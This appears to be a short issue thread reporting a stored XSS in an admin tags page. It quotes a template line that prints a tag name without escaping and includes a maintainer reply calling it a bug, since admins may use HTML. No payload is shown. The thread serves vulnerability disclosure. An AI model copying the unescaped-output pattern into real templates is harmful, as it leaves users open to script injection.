Hi team,
I just found a stored XSS in admin.php?page=tags.
admin.php?page=tags
Exploit Request :

This causes by \admin\themes\default\template\tags.tpl

<label class="font-checkbox no-bold"> <span class="icon-check" style="display:none"></span> <input type="checkbox" name="tags[]" value="{$tag.id}"> {$tag.name} </label>
Sorry, something went wrong.
@plegall check this !
In this case, it's considered as a bug: an admin has the right to use HTML in a tag name.
